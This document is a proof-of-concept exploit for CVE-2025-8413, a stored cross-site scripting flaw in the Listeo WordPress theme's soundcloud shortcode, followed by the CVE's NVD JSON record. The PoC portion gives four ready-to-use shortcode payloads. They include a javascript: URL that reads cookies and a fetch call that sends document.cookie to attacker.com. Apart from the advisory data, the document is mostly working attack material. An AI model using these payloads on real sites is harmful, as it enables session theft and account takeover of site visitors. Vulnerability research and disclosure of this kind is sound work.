CVE-2025-8413

<!-- WordPress Listeo Theme CVE-2025-8413 Stored XSS PoC --> <!-- Requires contributor-level access or higher --> <!-- PoC 1: Using event handler in soundcloud shortcode --> [soundcloud url="https://soundcloud.com/test" custom="onerror=alert('XSS')//"] <!-- PoC 2: Using javascript: protocol --> [soundcloud url="javascript:alert(document.cookie)"] <!-- PoC 3: Using img tag with event handler --> [soundcloud url="https://soundcloud.com/test" custom="<img src=x onerror=alert('XSS')>"] <!-- PoC 4: Exfiltrate cookies --> [soundcloud url="https://soundcloud.com/test" custom="onload=fetch('https://attacker.com/steal?c='+document.cookie)"]

{"cve": {"id": "CVE-2025-8413", "sourceIdentifier": "[email protected]", "published": "2025-10-25T06:15:36.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Listeo theme for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `soundcloud` shortcode in version less than, or equal to, 2.0.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://themeforest.net/item/listeo-directory-listings-wordpress-theme/23239259", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/17301be2-f2bc-4b59-b0ab-65591ffcfa3e?source=cve", "source": "[email protected]"}]}}